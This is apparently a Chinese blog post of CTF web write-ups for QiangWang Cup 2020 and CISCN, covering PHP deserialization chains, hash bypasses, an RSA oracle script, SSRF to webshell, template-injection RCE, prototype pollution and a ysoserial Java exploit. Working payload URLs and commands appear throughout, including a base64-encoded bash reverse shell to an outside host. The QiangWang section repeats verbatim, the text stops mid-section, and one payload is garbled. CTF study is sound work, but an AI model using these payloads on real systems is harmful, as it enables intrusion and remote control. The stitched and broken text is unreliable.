前言

近期的一个周末参加了强网杯线上赛,以下是web题解。

web辅助

类定义如下:

user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
    public function get_admin(){
        return $this->admin;
    }
}
class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }
    public function __destruct(){
        $this->TP();
    }
}
class midsolo{
    protected $name;
    public function __construct($name){
        $this->name = $name;
    }
    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    
    public function __invoke(){
        $this->Gank();
    }
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}
class jungle{
    protected $name = "";
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
    public function KS(){
        system("cat /flag");
    }
    public function __toString(){
        $this->KS();  
        return "";  
    }
}
?>

整体来说,链还是比较容易找到的:

topsolo -> __destruct -> TP -> $name() -> midsolo -> __invoke -> Gank -> stristr($this->name, 'Yasuo') -> jungle -> __toString -> KS

其中midsolo中有wakeup限制:

public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }

不过也是老考点了,比较好绕过。关键点是2个:

$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));

首先我们对象需要逃逸,否则无法反序列化我们想要的对象,其次存在对象属性名过滤:

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

属性名过滤我们可以通过:

\6e\61\6d\65

来进行bypass,而对于对象逃逸,已经是之前考察过的考点了,可以参考:

https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html

因此我们可以通过:

$user = '0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$pass='0";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:7:"Lee Sin";}}}};';

访问:

http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/?username=0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0&password=0%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D%7D%3B

再触发反序列化:

http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/play.php

即可获取flag:

2020-08-23-13-47-19.png

Funhash

query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();
?>

题目源码如上,还是比较简单的,对于第一关可以使用0e开头的字符串,第二关可以使用数组,第三关则是一道老题,参考:

https://www.jianshu.com/p/12125291f50d

用ffifdyop即可。

因此最后可使用:

http://39.101.177.96/?hash1=0e251288019&hash2[]=2&hash3[]=1&hash4=ffifdyop

2020-08-23-12-59-32.png

dice2cry

访问题目,发现cookie里放有rsa的信息:

2020-08-23-14-14-06.png

同时发现存在文件泄露:

http://106.14.66.189/abi.php.bak

源码如下:

$result);
        $json_obj = json_encode($dice);
        echo $json_obj;
?>

发现可以传递参数:

$_POST['this_is.able']

但是this_is.able传递时,点会被替换成下划线:

this_is.able  ->  this_is_able

因此需要想办法绕过,这里查看底层处理方式main/php_variables.c,可以得知:

2020-08-23-14-18-24.png

因此可以使用[来进行绕过,传参方式为:

this[is.able = xxxx

后面则是密码学的部分:

需要将:

https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack

推广到mod 3的情况。

import requests
import json
from libnum import n2s
from fractions import Fraction
from Crypto.Util.number import*
url = 'http://106.14.66.189/abi.php'
c = 88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671
n=0x8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157
e = 65537
def give_result_of_mod3(mm):
 payload = str(mm)
 data = {
  'this[is.able':payload
 }
 Cookie = {
 'PHPSESSID':'vpbteni7ahq83jh1chfs3kvug7',
 'public_e':'010001',
 'encrypto_flag':'88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671; public_n=8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157'
 }
 r = requests.post(url=url,data=data,cookies=Cookie)
 #print r.content 
 return int(json.loads(r.content)['num'])
def hack(c,e,n):
    R = n%3
    j = 1
    exp3 = 3
    length = n
    low_bound = Fraction(0,1)
    while length>1:
        tmp_c = (pow(exp3,e,n)*c) % n
        r = give_result_of_mod3(tmp_c)
        k = (-r* inverse(R,3)) % 3
        low_bound += Fraction(k*n,exp3)
        exp3 *= 3
        length = length//3
        j +=1
    
    return int(low_bound)
res = hack(c,e,n)
print(n2s(res))

得到flag:

flag{92ab3055092aad3e1856481091

half_infiltration

题目给出了源码:

age;
        $boy = $this->sex;
        $a = $this->num;
    $student->$boy();
    if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
    {
        ob_end_clean();
        exit();
    }
    global $$a;
    $result=$GLOBALS['flag'];
        ob_end_clean();
    }
}
if (isset($_GET['x'])) {
    unserialize($_GET['x'])->get_it();
}

题目存在ssrf.php,想要知道源码,就必须先获取$flag的值,观察类定义,只有一个destruct可用,其中存在3个关键点:

$student->$boy();
global $$a;
ob_end_clean();

首先可以调对象的任意方法,其次存在变量覆盖,我们可以global任意变量,最后有ob_end_clean,我们拿不到输出。

同时注意到:

unserialize($_GET['x'])->get_it()

如果单独传入类则会由于没有__call方法而报错。结合上述问题,这里我们考虑用如下方式进行bypass:

age = $a;
$b->sex = 'read';
$b->num = 'result';
$c = new User();
$c->age = $a;
$c->sex = 'read';
$c->num = 'this';
$d = serialize(array($b,$c));
echo urlencode($d);

可利用global $this出错:

2020-08-23-13-15-33.png

让ob_end_clean无法清空缓冲区,从而获取输出:

< ?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
    $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false; 
    if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
        die("");
    }
    if($url)
    { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_exec($ch);
            curl_close($ch); 
     } 
? >

通过:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1

进行端口爆破,burp跑一遍,发现开放端口为40000:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000

2020-08-23-13-17-15.png

查看参数名为:

2020-08-23-13-17-40.png

猜想后端代码为:

file_put_contents($file,$content);

同时脑洞想到,文件上传目录为127.0.0.1:40000/uploads/PHPSESSID/

利用gopher传递数据,发现简单的使:

file=1.php&content=

会导致文件没有正常生成,原因应该是content被过滤了,简单测试,发现过滤了:

<? ph

因此考虑使用伪协议写入内容,为避免过滤,直接选择了一个冷门的:

file=php://filter/convert.iconv.UCS-4LE.UCS-4*/resource=shell.php&content=hp?<   [email protected]_$(l[TEG]"a">?;)

即可写入shell:

2020-08-23-13-21-11.png

尝试cat flag,但是发现存在open_basedir,这里使用一些常规的绕过方案:

2020-08-23-13-28-31.png

即可看到flag,读取即可。

easy_java

首先发现存在反序列化点:

2020-08-23-16-16-02.png

同时看到黑名单:

2020-08-23-16-13-57.png

发现未对JRMPListener做过滤,查看pom.xml:

2020-08-23-16-18-14.png

发现有commons-collections依赖,因此利用ysoserial来生成exp:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 23334 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient xxx.xxx.xxx.xxx:23334 > 1.poc

2020-08-23-16-27-26.png

2020-08-23-16-26-45.png

即可反弹shell,并获取flag。

后记

第四届强网线上结束了,我也老了,不知道后面还会不会继续参赛了,泪目。


前言

近期的一个周末参加了强网杯线上赛,以下是web题解。

web辅助

类定义如下:

user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
    public function get_admin(){
        return $this->admin;
    }
}
class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }
    public function __destruct(){
        $this->TP();
    }
}
class midsolo{
    protected $name;
    public function __construct($name){
        $this->name = $name;
    }
    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    
    public function __invoke(){
        $this->Gank();
    }
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}
class jungle{
    protected $name = "";
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
    public function KS(){
        system("cat /flag");
    }
    public function __toString(){
        $this->KS();  
        return "";  
    }
}
?>

整体来说,链还是比较容易找到的:

topsolo -> __destruct -> TP -> $name() -> midsolo -> __invoke -> Gank -> stristr($this->name, 'Yasuo') -> jungle -> __toString -> KS

其中midsolo中有wakeup限制:

public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }

不过也是老考点了,比较好绕过。关键点是2个:

$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));

首先我们对象需要逃逸,否则无法反序列化我们想要的对象,其次存在对象属性名过滤:

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

属性名过滤我们可以通过:

\6e\61\6d\65

来进行bypass,而对于对象逃逸,已经是之前考察过的考点了,可以参考:

https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html

因此我们可以通过:

$user = '0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$pass='0";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:7:"Lee Sin";}}}};';

访问:

http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/?username=0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0&password=0%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D%7D%3B

再触发反序列化:

http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/play.php

即可获取flag:

2020-08-23-13-47-19.png

Funhash

query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();
?>

题目源码如上,还是比较简单的,对于第一关可以使用0e开头的字符串,第二关可以使用数组,第三关则是一道老题,参考:

https://www.jianshu.com/p/12125291f50d

用ffifdyop即可。

因此最后可使用:

http://39.101.177.96/?hash1=0e251288019&hash2[]=2&hash3[]=1&hash4=ffifdyop

2020-08-23-12-59-32.png

dice2cry

访问题目,发现cookie里放有rsa的信息:

2020-08-23-14-14-06.png

同时发现存在文件泄露:

http://106.14.66.189/abi.php.bak

源码如下:

$result);
        $json_obj = json_encode($dice);
        echo $json_obj;
?>

发现可以传递参数:

$_POST['this_is.able']

但是this_is.able传递时,点会被替换成下划线:

this_is.able  ->  this_is_able

因此需要想办法绕过,这里查看底层处理方式main/php_variables.c,可以得知:

2020-08-23-14-18-24.png

因此可以使用[来进行绕过,传参方式为:

this[is.able = xxxx

后面则是密码学的部分:

需要将:

https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack

推广到mod 3的情况。

import requests
import json
from libnum import n2s
from fractions import Fraction
from Crypto.Util.number import*
url = 'http://106.14.66.189/abi.php'
c = 88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671
n=0x8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157
e = 65537
def give_result_of_mod3(mm):
 payload = str(mm)
 data = {
  'this[is.able':payload
 }
 Cookie = {
 'PHPSESSID':'vpbteni7ahq83jh1chfs3kvug7',
 'public_e':'010001',
 'encrypto_flag':'88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671; public_n=8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157'
 }
 r = requests.post(url=url,data=data,cookies=Cookie)
 #print r.content 
 return int(json.loads(r.content)['num'])
def hack(c,e,n):
    R = n%3
    j = 1
    exp3 = 3
    length = n
    low_bound = Fraction(0,1)
    while length>1:
        tmp_c = (pow(exp3,e,n)*c) % n
        r = give_result_of_mod3(tmp_c)
        k = (-r* inverse(R,3)) % 3
        low_bound += Fraction(k*n,exp3)
        exp3 *= 3
        length = length//3
        j +=1
    
    return int(low_bound)
res = hack(c,e,n)
print(n2s(res))

得到flag:

flag{92ab3055092aad3e1856481091

half_infiltration

题目给出了源码:

age;
        $boy = $this->sex;
        $a = $this->num;
    $student->$boy();
    if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
    {
        ob_end_clean();
        exit();
    }
    global $$a;
    $result=$GLOBALS['flag'];
        ob_end_clean();
    }
}
if (isset($_GET['x'])) {
    unserialize($_GET['x'])->get_it();
}

题目存在ssrf.php,想要知道源码,就必须先获取$flag的值,观察类定义,只有一个destruct可用,其中存在3个关键点:

$student->$boy();
global $$a;
ob_end_clean();

首先可以调对象的任意方法,其次存在变量覆盖,我们可以global任意变量,最后有ob_end_clean,我们拿不到输出。

同时注意到:

unserialize($_GET['x'])->get_it()

如果单独传入类则会由于没有__call方法而报错。结合上述问题,这里我们考虑用如下方式进行bypass:

age = $a;
$b->sex = 'read';
$b->num = 'result';
$c = new User();
$c->age = $a;
$c->sex = 'read';
$c->num = 'this';
$d = serialize(array($b,$c));
echo urlencode($d);

可利用global $this出错:

2020-08-23-13-15-33.png

让ob_end_clean无法清空缓冲区,从而获取输出:

< ?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
    $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false; 
    if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
        die("");
    }
    if($url)
    { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_exec($ch);
            curl_close($ch); 
     } 
? >

通过:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1

进行端口爆破,burp跑一遍,发现开放端口为40000:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000

2020-08-23-13-17-15.png

查看参数名为:

2020-08-23-13-17-40.png

猜想后端代码为:

file_put_contents($file,$content);

同时脑洞想到,文件上传目录为127.0.0.1:40000/uploads/PHPSESSID/

利用gopher传递数据,发现简单的使:

file=1.php&content=

会导致文件没有正常生成,原因应该是content被过滤了,简单测试,发现过滤了:

<? ph

因此考虑使用伪协议写入内容,为避免过滤,直接选择了一个冷门的:

file=php://filter/convert.iconv.UCS-4LE.UCS-4*/resource=shell.php&content=hp?<   [email protected]_$(l[TEG]"a">?;)

即可写入shell:

2020-08-23-13-21-11.png

尝试cat flag,但是发现存在open_basedir,这里使用一些常规的绕过方案:

2020-08-23-13-28-31.png

即可看到flag,读取即可。

easy_java

首先发现存在反序列化点:

2020-08-23-16-16-02.png

同时看到黑名单:

2020-08-23-16-13-57.png

发现未对JRMPListener做过滤,查看pom.xml:

2020-08-23-16-18-14.png

发现有commons-collections依赖,因此利用ysoserial来生成exp:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 23334 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient xxx.xxx.xxx.xxx:23334 > 1.poc

2020-08-23-16-27-26.png

2020-08-23-16-26-45.png

即可反弹shell,并获取flag。

后记

第四届强网线上结束了,我也老了,不知道后面还会不会继续参赛了,泪目。


0x00 前言

周末参加了一下国赛,有两年没参与了,还是一如既往的“吓人”。

0x01 babyunserialize

题目存在源码泄露:

http://eci-2ze0loaxjkuesryhroqr.cloudeci1.ichunqiu.com/www.zip

打开后发现是fatfree框架,进行代码审计,发现目标网站使用了php框架fatfree,且为最新版。同时关注到index.php路由:

$f3->route('GET /',
    function($f3) {
        echo "may be you need /?flag=";
    }
);
unserialize($_GET['flag']);

发现题目给了一个反序列化位置,且参数可控。

于是在网上搜索fatfree相关的rce chain,可以搜到此题曾在2020 WMCTF中出现过。

但搜索网上相关的pop chain,发现都没打通,于是选择自己思考。

虽然这里CLI\Agent::fetch()被删除,但其存在的send方法潜在安全隐患:

function send($op,$data='') {
$server=$this->server;
$mask=WS::Finale | $op & WS::OpCode;
$len=strlen($data);
$buf='';
if ($len>0xffff)
$buf=pack('CCNN',$mask,0x7f,$len);
elseif ($len>0x7d)
$buf=pack('CCn',$mask,0x7e,$len);
else
$buf=pack('CC',$mask,$len);
$buf.=$data;
if (is_bool($server->write($this->socket,$buf)))
return FALSE;
if (!in_array($op,[WS::Pong,WS::Close]) &&
isset($this->server->events['send']) &&
is_callable($func=$this->server->events['send']))
$func($this,$op,$data);
return $data;
}

此处注意到关键位置:

if (is_bool($server->write($this->socket,$buf)))
return FALSE;

我们发现,此处$server和$this->socket均可控,那么可以用来构造任意代码执行。但是存在问题,哪一个命令执行的php函数有2个参数,且第一个参数可控,第二个参数不可控就可以进行RCE?

这里想到create_function,我们可以利用如下方式,在第一个参数位置进行代码注入:

){}phpinfo();//

构造exp,并发现可以成功执行phpinfo:

2020-08-20-15-45-48.png

得到flag:

2020-08-20-15-46-00.png

0x02 easyphp

题目给出了源码:

<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

此题有点不同寻常,和一般的web题有点差异,这里简单看了一下,我们需要在如下情况,才能调用phpinfo():

if(!pcntl_wifexited($status)){
        phpinfo();
    }

查阅手册:

2020-08-20-15-34-40.png

发现我们需要让子进程不正常退出,这里考虑到使用后面的call_user_func:

if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }

通过搜索php bug,可以得知:

https://bugs.php.net/bug.php?id=52173

这里我们可以利用pcntl_waitpid:

http://eci-2ze0y4x958n2qhsgv27b.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_waitpid

2020-08-20-15-39-33.png

即可在phpinfo中获取flag。

0x03 rceme

题目给出了源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }
            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

简单搜了下,发现是ZZZCMS源码的一部分,参考链接如下:

https://cloud.tencent.com/developer/article/1576196

但是通过diff,发现这里的过滤比ZZZCMS多一些:

$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');

参考到这篇文章:

https://forum.90sec.com/t/topic/1239

其exp如下:

{if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

考虑该题过滤了base_convert函数,这里想一个新的bypass方案,尝试使用hex2bin:

{if:array_map(hex2bin('73797374656d'),array('ls'))}{end if}

搭配使用system函数,即可rce获取flag:

{if:array_map(hex2bin('73797374656d'),array('cat /flag'))}{end if}

访问:

http://eci-2zed3ztpomt9lasf47o6.cloudeci1.ichunqiu.com/?a={if:array_map(hex2bin(%2773797374656d%27),array(%27cat%20/flag%27))}{end%20if}

2020-08-20-15-28-47.png

0x04 littlegame

题目给了源码,简单看一下:

var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
    "sword": {"Gold": "20", "Firepower": "50"},
    // Times have changed
    "gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
    "Lv1": {"Firepower": "1", "Bounty": "1"},
    "Lv2": {"Firepower": "5", "Bounty": "10"},
    "Lv3": {"Firepower": "10", "Bounty": "15"},
    "Lv4": {"Firepower": "20", "Bounty": "30"},
    "Lv5": {"Firepower": "50", "Bounty": "65"},
    "Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
    // Times have not changed
    "Firepower": "201"
}
const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});
module.exports = router;

首先看如何获取flag:

router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});

发现只要:

if(Admin[key] === password){
    res.send(process.env.flag);
}

即可获取flag。这里不难发现:

const setFn = require('set-value');

存在原型链污染的问题,查看调用处:

router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

发现key和value都可控,那就好办了,这里直接进行污染:

2020-08-20-17-04-56.png

然后去获取flag:

